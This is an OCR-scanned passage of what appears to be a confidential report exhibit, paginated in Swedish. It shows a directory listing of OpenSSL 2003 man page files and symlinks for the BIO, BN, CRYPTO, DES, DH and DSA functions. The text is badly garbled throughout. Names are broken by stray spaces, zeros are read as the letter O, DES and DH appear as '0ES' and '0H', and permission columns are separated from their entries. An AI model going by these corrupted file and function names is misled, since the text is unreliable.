O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/BIO_get_retry_reason . 3  -> B IO_shou ld_retry .3  

O Mar  1 1  2003 /usr/ loca l/ss l/m a n/man3/BIO_get_retry_B I0 . 3  -> B IO_shou l d_retry .3  

O Mar 1 1  2003 /usr/ l oca l/ss l/ma n/man3/B IO_get_ss l . 3  -> B IO_f_ss l . 3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/BI O_get_write_buf_s ize . 3  ->  B IO_s_b io .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/B IO_get_write_guara ntee. 3  -> B IO_s_b io .3  

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 383 av 574 



l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

-rw-r--r-- O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 
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l rwxrwxrwx O O 1 

-rw-r-- r-- O O 1 

Report 

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/BIO_gets . 3  -> B IO_read .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/ma n3/B IO  i nt ctr l . 3  -> B IO  ctrl . 3  
- - -

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BIO_make_bio_pa i r . 3  -> B IO_s_bio .3  

6 134 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/B IO_new.3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BIO_new_bio_pa i r. 3  -> B IO_s_bio . 3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/B IO new buffe r ss l  connect .3  -> B IO  f ss l . 3  
- - - - - -

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man3/B IO new fd . 3  -> B IO  s fd . 3  
- - - -

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/B IO_new_fi l e . 3  -> B I O_s_fi l e . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/B IO_new_fp. 3  ->  B IO_s_fi l e . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/B IO_new_mem_buf. 3 -> B IO_s_mem .3 

O Ma r  1 1  2003 /usr/ loca l/ssl/m a n/man3/B IO new socket .3  -> B IO  s socket .3  
- - - -

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/B IO_new_ssl . 3  -> B IO_f_ssl . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/B IO new s s l  con nect .3  -> B IO  f ss l . 3  
- - - - -

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/ma n3/BIO_next . 3  -> B IO_fi nd_type.3 

O Mar 1 1  2003 /usr/ loca l/ssl/m a n/man3/B IO_pen d i ng .3  -> B I O_ctr l . 3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/B IO_pop .3  - >  B IO_push .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BIO_ptr_ctr l . 3  -> B I O_ctr l . 3  

6131  Feb  2 1  2003 /usr/ loca l/ss l/ma n/man3/B IO_push . 3 
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l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

Report 

O Ma r  11  2003 /usr/ loca l/ss l/ma n/man3/B IO_puts . 3  -> B IO_read .3  

6593  Feb 2 1  2003 /usr/l oca l/ss l/ma n/man3/B IO_read .3  

O Ma r  1 1  2003 /usr/ loca l/ss l /m a n/ma n3/B IO  read  fi l ename .3  -> B IO  s fi l e .3  
- - - -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BIO_reset .3  -> B IO_ctr l . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BI O_retry_type .3 -> B IO_shou ld_retry .3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/BI O_rw_fi l ename .3  -> B IO_s_fi l e .3  

11917 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/BI O_s_accept. 3 

12479 Feb 21  2003 /usr/ loca l/ss l/m a n/man3/BIO s b io . 3  

11650 Feb 21  2003 /usr/loca l/ss l/ma n/man3/BI O s con nect .3  

6892 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/B IO_s_fd . 3  

8858 Feb  21  2003 /usr/ loca l/ss l/ma n/man3/B IO_s_fi l e . 3  

8430 Feb 21  2003 /usr/loca l/ss l/ma n/man3/B IO_s_mem .3  

4841 Feb  2 1  2003 /usr/loca l/ss l/ma n/ma n3/B IO_s_nu l l . 3  

5774 F e b  2 1  2003 /usr/loca l/ss l/m a n/man3/B IO_s_socket .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/BIO_seek .3  -> B IO_ctr l . 3  

O Ma r  11  2003 /usr/loca l/ssl/ma n/man3/B IO_set. 3  -> B IO_new.3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/B IO_set_accept_b ios .3  ->  B IO_s_accept.3 

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/B IO_set_accept_port .3  -> B I O_s_acce pt. 3  
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Report 

O Ma r  11  2003 /usr/loca l/ssl/ma n/ma n3/BIO_set_bi nd_mode .3  -> B IO_s_accept.3 

7986 Feb 21 2003 /usr/loca l/ss l/ma n/ma n3/B IO_set_ca l l back .3  

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/ma n3/BI O_set_ca l l back_a rg .3  -> B IO_set_ca l l back .3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/BIO_set_ci pher .3  -> B IO_f_c ipher .3  

O Mar 11  2003 /usr/ loca l/ss l/ma n/ma n3/BIO_set_cl ose . 3  -> B IO_ctr l . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/B IO_set_con n_hostname .3  ->  B IO_s_connect . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BIO_set_con n_i nt_port .3  ->  B IO_s_connect .3  

O Mar  1 1  2003 /usr/ loca l/ss l/ma n/ma n3/BIO_set_con n_i p . 3  -> B I O_s_connect . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man3/BIO_set_con n_port .3  -> B IO_s_con nect .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BI O set  fd . 3  -> B IO  s fd . 3  
- - - -

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/B IO_set_fp . 3  -> B IO_s_fi l e .3  

O Mar  1 1  2003 /usr/ loca l/ss l/ma n/ma n3/BIO_set_i nfo_ca l l back .3 -> B IO_ctr l . 3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/B IO set md .3  -> B IO  f md .3  
- - - -

O Ma r  11  2003 /usr/ loca l/ss l/ma n/man3/BIO set mem buf. 3  -> B IO  s mem.3  
- - - - -

O Ma r  11  2003 /usr/loca l/ss l/m a n/man3/B IO_set_mem_eof_retu rn . 3  -> B IO_s_mem .3  

O Ma r  11  2003 /usr/ loca l/ss l/m a n/man3/B IO set n b io . 3  -> B IO  s connect . 3  
- - - -

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/B IO_set_n b io_accept. 3 -> B IO_s_accept . 3  

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/BIO set s s l . 3  -> B IO  f ss l . 3  
- - - -
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Sidan 386 av 574 



l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

-rw-r--r-- O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

-rw-r--r-- O O 1 
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Repan 

O Mar 1 1  2003 /us r/loca l/ssl/ma n/man3/BI O set ss l  mode.3 -> B IO  f ss l . 3  
- - - - -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BIO_set_ss l_renegot iate_bytes .3  -> B IO_f_ss l . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/ma n3/BI O_set_ss l_renegot iate_ti meout. 3 - >  B IO_f_ss l . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BIO set write b u f  s i ze .3 -> B IO  s b io .3  
- - - - - -

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/BI O_shou ld_io_speci a l . 3  -> B IO_shou ld_retry .3 

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/man3/BIO_shou l d_read .3  -> B IO_shou ld_retry .3  

9227 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/B IO_shou l d_retry .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/ma n3/B IO_shou ld_write . 3  -> B IO_shou l d_retry .3 

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/man3/B IO_sh utdown_wr.3 -> B IO_s_b io .3  

O Mar 1 1  2003 /usr/loca l/ss l/m a n/man3/BIO_ss l_copy_sess ion_i d . 3  -> B IO_f_ssl . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/B IO s s l  sh utdown .3  -> B IO  f ss l . 3  
- - - -

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/B IO_te l l . 3  -> B IO_ctr l . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/B IO_vfree .3  ->  B IO_new.3  

O Mar  1 1  2003 /usr/ loca l/ssl/ma n/man3/B IO_wpend i ng .3  -> B IO_ctr l . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BI O_write .3  ->  B IO_read . 3  

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/BIO write fi l ename .3  -> B IO  s fi l e .3  
- - - -

8945 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/BN add . 3  

5644 Feb 21  2003 /usr/ loca l/ss l/ma n/man3/BN add  word . 3  
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Report 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_b i n2bn . 3  -> BN_bn2b i n . 3  

7827  Feb  2 1  2003 /usr/ loca l/ss l/ma n/man3/BN bn2b i n . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN bn2dec .3  - >  BN  bn2b i n . 3  
- -

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/BN bn2hex .3  -> BN  bn2b i n . 3  
- -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_bn2mp i . 3  -> BN_bn2b i n . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN c lear .3  - >  BN new.3 
- -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/ma n3/BN c lear  b i t .3  -> BN  set b it .3 
- - - -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN c lea r free .3  -> BN new.3 
- - -

5 289 Feb 21  2003 /usr/loca l/ss l/ma n/man3/BN_cmp .3  

4666 Feb 21  2003 /usr/ loca l/ss l/m a n/man3/BN_copy. 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_dec2bn . 3  - >  BN_bn2b i n . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/BN_d iv. 3 - >  BN_add . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_d iv_recp .3  - >  BN_mod_m u l_reci p roca l . 3  

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/BN d iv word . 3  - >  BN add  word . 3  
- - - -

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_dup . 3  -> BN_copy. 3 

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man3/BN_exp .3  -> BN_add . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_free .3  - >  BN_new.3 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_from_montgomery. 3 -> BN_mod_m u l_montgomery .3  
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Repan 

O Mar 1 1  2003 /usr/loca l/ssl/ma n/man3/BN_gcd . 3  -> BN_add .3  

7440 Feb 21  2003 /us r/loca l/ss l/ma n/man3/BN_gene rate_pri me .3  

O Mar  1 1  2003 /usr/loca l/ssl/ma n/man3/BN_get_word . 3  -> BN_zero . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN hex2bn . 3  -> BN bn2b i n . 3  
- -

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/BN i n i t .3 -> BN  new.3 
- -

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man3/BN_is_b it_set .3  -> BN_set_bit .3 

O Mar 11  2003 /usr/loca l/ssl/ma n/man3/BN_is_odd .3  -> BN_cmp .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_is_one .3  -> BN_cm p .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_is_prime . 3  -> BN_generate_prime .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_is_prime_fasttest .3  -> BN_generate_pr ime .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_is_word . 3  -> BN_cm p .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/BN_is_zero . 3  ->  BN_cm p .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_Ish ift . 3  -> BN_set_b it .3 

O Mar 11 2003 /usr/loca l/ss l/ma n/man3/BN l sh ift1 .3  -> BN set b it .3 
- - -

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/BN mask b its . 3  -> BN set b i t .3  
- - - -

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/BN mod .3  -> BN  add . 3  
- -

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/BN_mod_add .3  -> BN_add . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/man/man3/BN_mod_exp .3  ->  BN_add . 3  
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Sidan 389 av 574 



-rw-r--r-- O O l 

l rwxrwxrwx O O l 

-rw-r--r-- O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

4868 Feb 2 1  2003 /usr/ loca l/ss l/man/ma n3/BN mod i nverse .3 
- -

Report 

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_mod_m u l . 3  -> BN_add . 3  

7525  Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/BN_mod_m ul_montgomery .3 

6679 Feb 21  2003 /usr/ loca l/ss l/m a n/man3/BN_mod_m u l_rec ip roca l . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/BN_mod_sq r. 3  - >  BN_add . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN mod  sub .3  - >  BN  add . 3  
- - -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN mod word . 3  -> BN add  word . 3  
- - - -

O Ma r  1 1  2003 /usr/loca l/ssl/m a n/man3/BN_m pi2bn . 3  -> BN_bn2b i n . 3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/BN_m u l . 3  - >  BN_add . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_mu l_word . 3  - >  BN_add_word .3  

5393 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/BN_new.3 

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/ma n3/BN n n mod .3  -> BN  add .3  
- -

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/BN_nu m_bits . 3  -> BN_num_bytes .3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/BN_num_bits_word . 3  -> BN_n um_bytes .3  

4601 Feb 2 1  2003 /usr/ loca l/ss l/m a n/man3/BN_num_bytes .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_one .3  -> BN_zero. 3 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_pri nt .3 -> BN_bn2b i n . 3  

O Ma r  1 1  2003 /us r/ loca l/ss l/ma n/man3/BN_pri nt_fp.3 ->  BN_bn2b i n . 3  
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Report 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_pseudo_ra nd . 3  -> BN_rand . 3  

5982 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/BN_rand . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_rsh ift .3  - >  BN_set_b it .3 

O Mar 1 1  2003 /usr/loca l/ssl/ma n/man3/BN_rsh ift1 .3  -> BN_set_b it .3  

6089 Feb 2 1  2003 /usr/loca l/ss l/ma n/ma n3/BN_set_b it .3  

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/man3/BN_set_word .3  -> BN_zero . 3  

O Ma r  11  2003 /usr/loca l/ssl/ma n/man3/BN_sqr .3  -> BN_add .3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/BN_sub .3  -> BN_add .3  

O Ma r  11  2003 /usr/loca l/ssl/ma n/ma n3/BN sub  word . 3  -> BN add  word . 3  
- - - -

4180 Feb 2 1  2003 /usr/ loca l/ssl/man/man3/BN_swa p .3  

O Ma r  1 1  2003 /usr/ loca l/ssl/m a n/man3/BN_to_montgomery .3 -> BN_mod_mu l_montgomery .3  

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man3/BN_ucm p .3  -> BN_cm p .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_va l ue_one .3  ->  BN_zero . 3  

5536 Feb 2 1  2003 /usr/loca l/ss l/m a n/man3/BN zero .3  

O Ma r  11  2003 /usr/loca l/ss l/ma n/ma n3/BN CTX end . 3  ->  BN  CTX sta rt. 3  
- - - -

O Ma r  11  2003 /usr/loca l/ssl/ma n/ma n3/BN CTX free .3 -> BN  CTX new.3 
- - - -

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_CTX_get .3  -> BN_CTX_sta rt .3  

O Mar 11  2003 /usr/loca l/ss l/man/man3/BN CTX i n i t .3  -> BN CTX new.3 
- - - -
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l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

l rwxrwxrwx O O 1 

5515  Feb 2 1  2003 /usr/loca l/ss l/ma n/ma n3/BN_CTX_new.3 

5592 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/BN_CTX_sta rt. 3  

Report 

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_MONT_CTX_copy .3  -> BN_mod_mu l_montgomery .3 

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/ma n3/BN_MONT_CTX_free . 3  -> BN_mod_mu l_montgomery .3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/BN_MONT_CTX_i n i t .3  -> BN_mod_m ul_montgomery .3 

O Mar 11  2003 /usr/ loca l/ss l/ma n/man3/BN_MONT_CTX_new.3 -> BN_mod_mu l_montgomery .3 

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_MONT_CTX_set .3  -> BN_mod_m ul_montgomery .3 

O Mar 11  2003 /usr/ loca l/ssl/ma n/man3/BN_RECP _CTX_free .3  -> BN_mod_mu l_reci p roca l . 3  

O Ma r  11  2003 /usr/ loca l/ss l/ma n/ma n3/BN_RECP _CTX_i n i t .3  - >  BN_mod_m u l_reci proca l . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/BN_RECP _CTX_new.3  - >  BN_mod_m u l_reci p roca l . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/BN_RECP _CTX_set .3  - >  BN_mod_m u l_reci p roca l . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/BU F _strdup . 3  - >  buffer .3  

O Mar  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/BU F _M EM_free .3  -> buffer .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/BU F _M EM_grow.3 -> buffer .3  

O Mar 1 1  2003 /usr/loca l/ssl/ma n/man3/BU F _M EM_new.3 -> buffer .3  

O Mar 11  2003 /usr/ loca l/ss l/m a n/ma n3/CRYPTO_destroy_dyn l ockid . 3  -> th reads .3  

O Mar  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/CRYPTO_get_ex_data . 3  -> CRYPTO_set_ex_data . 3  

O Ma r  11  2003 /usr/ loca l/ssl/ma n/man3/CRYPTO_get_new_dyn lockid . 3  - >  th reads .3  
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Report 

O Mar  1 1  2003 /usr/loca l/ss l/ma n/man3/CRYPTO_Iock .3 -> th reads .3  

O Mar 1 1  2003 /usr/loca l/ssl/ma n/man3/CRYPTO num l ocks.3 -> th reads .3  
- -

O Mar  11  2003 /usr/loca l/ssl/ma n/man3/CRYPTO_set_dyn lock_create_ca l l back .3 -> th reads .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/ma n3/CRYPTO_set_dyn lock_destroy_ca l l back .3 -> threads .3  

O Mar  1 1  2003 /usr/loca l/ssl/ma n/man3/CRYPTO_set_dyn lock_lock_ca l l back .3 -> th reads .3  

5693 Feb 2 1  2003 /usr/ loca l/ss l/ma n/ma n3/CRYPTO_set_ex_data . 3  

O Mar  11  2003 /usr/loca l/ssl/ma n/ma n3/CRYPTO set i d  ca l l back .3 - >  th reads .3  
- - -

O Mar  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/CRYPTO_set_locki ng_ca l l back .3 -> threads .3  

O Mar 1 1  2003 /usr/loca l/ssl/ma n/ma n3/DES_cbc_cksum .3  -> des .3  

O Mar 11  2003 /usr/loca l/ss l/ma n/man3/DES_cfb_encrypt. 3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/DES_cfb64_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ssl/ma n/man3/DES_crypt .3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/DES_ecb_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ss l/m a n/ma n3/DES_ecb2_encrypt .3  -> des .3  

O Mar 11  2003 /usr/loca l/ss l/ma n/ma n3/DES_ecb3_encrypt .3  -> des .3  

O Mar 11  2003 /usr/loca l/ssl/ma n/man3/DES_ede2_cbc_encrypt .3  -> des .3  

O Mar 11  2003 /usr/loca l/ss l/ma n/man3/DES_ede2_cfb64_encrypt .3  -> des .3  

O Mar 11  2003 /usr/loca l/ss l/m a n/man3/DES_ede2_ofb64_encrypt .3  -> des .3  
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Report 

O Ma r  1 1  2003 /u sr/loca l/ssl/ma n/ma n3/DES_ede3_cbc_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ssl/ma n/man3/DES_ede3_cbcm_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/man3/DES ede3 cfb64 en crypt . 3  -> des .3  
- - -

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/DES_ede3_ofb64_encrypt .3  -> des .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/DES_enc_read .3  ->  des .3  

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/ma n3/DES_enc_write . 3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/DES_fcrypt. 3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/DES_is_weak_key.3 -> des .3  

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/man3/DES_key_sched .3  -> des .3  

O Mar  1 1  2003 /usr/ loca l/ssl/ma n/man3/DES_ncbc_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/DES_ofb_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/DES_ofb64_encrypt .3  -> des . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/DES_pcbc_encrypt .3  ->  des .3  

O Mar 1 1  2003 /usr/loca l/ssl/ma n/ma n3/DES_quad_cksum .3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/DES_ra ndom_key.3  -> des .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/DES_set_key.3 -> des .3  

O Mar 11  2003 /usr/ loca l/ssl/ma n/man3/DES_set_key_checked .3  -> des . 3  

O Ma r  11  2003 /usr/ loca l/ssl/ma n/man3/DES_set_key_u nchecked .3  ->  des .3  
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Report 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/0ES_set_odd_pa rity. 3 -> des .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/0ES_stri ng_to_key.3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ssl/ma n/man3/0ES_stri ng_to_2keys . 3  -> des .3  

O Mar 11  2003 /usr/ loca l/ss l/ma n/man3/0ES_xcbc_encrypt .3  -> des .3  

O Mar 1 1  2003 /usr/ loca l/ss l/m a n/man3/0H_check. 3 -> OH_generate_pa rameters . 3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/0H_com pute_key. 3 -> OH_generate_key. 3 

O Ma r  1 1  2003 /u sr/loca l/ssl/ma n/ma n3/0H free .3 -> OH new.3 
- -

543 1 Feb 2 1  2003 /usr/ loca l/ss l/m a n/man3/0H_generate_key.3  

6417 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/0H_generate_pa rameters . 3  

O Ma r  11  2003 /usr/ loca l/ssl/ma n/man3/0H_get_defau l t_method . 3  -> OH_set_method .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/0H_get_ex_data . 3  ->  OH_get_ex_new_i ndex .3 

4857 Feb 21  2003 /usr/ loca l/ss l/ma n/man3/0H_get_ex_new_i ndex .3  

4811  Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/0H_new.3  

O Ma r  11  2003 /usr/ loca l/ssl/ma n/ma n3/0H new method .3  -> OH set method .3  
- - - -

O Ma r  1 1  2003 /usr/ loca l/ssl/man/man3/0H_set_defau l t_method .3  -> OH_set_method .3  

O Ma r  11  2003 /usr/ loca l/ss l/ma n/man3/0H_set_ex_data . 3  -> OH_get_ex_new_i ndex .3  

9535 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/0H set method .3  

4491 Feb 2 1  2003 /usr/ loca l/ss l/m a n/man3/0H_si ze . 3  
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Report 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/DH_OpenSSL. 3  -> DH_set_method .3  

O Ma r  11  2003 /usr/loca l/ssl/ma n/man3/DH params_pri nt . 3 -> RSA_pr int .3  

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man3/DH pa rams_pri nt_fp . 3  -> RSA_pr int .3  

5200 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/DSA_do_sign . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/ma n3/DSA_do_verify .3  -> DSA_do_sign . 3  

4693 Feb 2 1  2003 /usr/loca l/ss l/ma n/ma n3/DSA_d up_DH . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/DSA free. 3 - >  DSA new.3 
- -

4662 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/DSA_generate_key.3  

7200 Feb 21  2003 /usr/loca l/ss l/man/man3/DSA_generate_parameters .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/DSA_get_defau lt_method .3  -> DSA_set_method .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/DSA_get_ex_data . 3  -> DSA_get_ex_new_i ndex .3 

4874 Feb 21  2003 /usr/loca l/ss l/ma n/man3/DSA_get_ex_new_i ndex .3  

4890 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/DSA_new.3  

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/DSA_new_method . 3  - >  DSA_set_method .3  

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/man3/DSA_pr int .3  ->  RSA_pri nt .3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man 3/DSA_pri nt_fp . 3  -> RSA_pri nt .3 

O Mar 11  2003 /usr/loca l/ss l/m a n/man3/DSA set defa u lt method .3  -> DSA set method .3  
- - - - -

O Ma r  1 1  2003 /usr/ loca l/ssl/ma n/ma n3/DSA_set_ex_data . 3  -> DSA_get_ex_new_i ndex. 3 
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Repon: 

10162 Feb 2 1  2003 /usr/ loca l/ss l/m a n/ma n3/DSA_set_method .3  

6292  Feb  2 1  2003 /usr/ loca l/ss l/ma n/man3/DSA_sign . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/DSA_sign_setu p .3  ->  DSA_sign . 3  

4503 Feb 2 1  2003 /usr/ loca l/ssl/ma n/man3/DSA_s ize . 3  

O Ma r  1 1  2003 /usr/l oca l/ss l/ma n/man3/DSA_verify .3 ->  DSA_sign . 3  

O Ma r  11  2003 /usr/ loca l/ss l/ma n/man3/DSA_OpenSSL .3 ->  DSA_set_method .3  

O Ma r  1 1  2003 /usr/ loca l/ss l/man/man3/DSA_S IG_free .3  ->  DSA_S IG_new.3  

4850 Feb 2 1  2003 /usr/ loca l/ss l/m a n/man3/DSA_S IG_new.3 

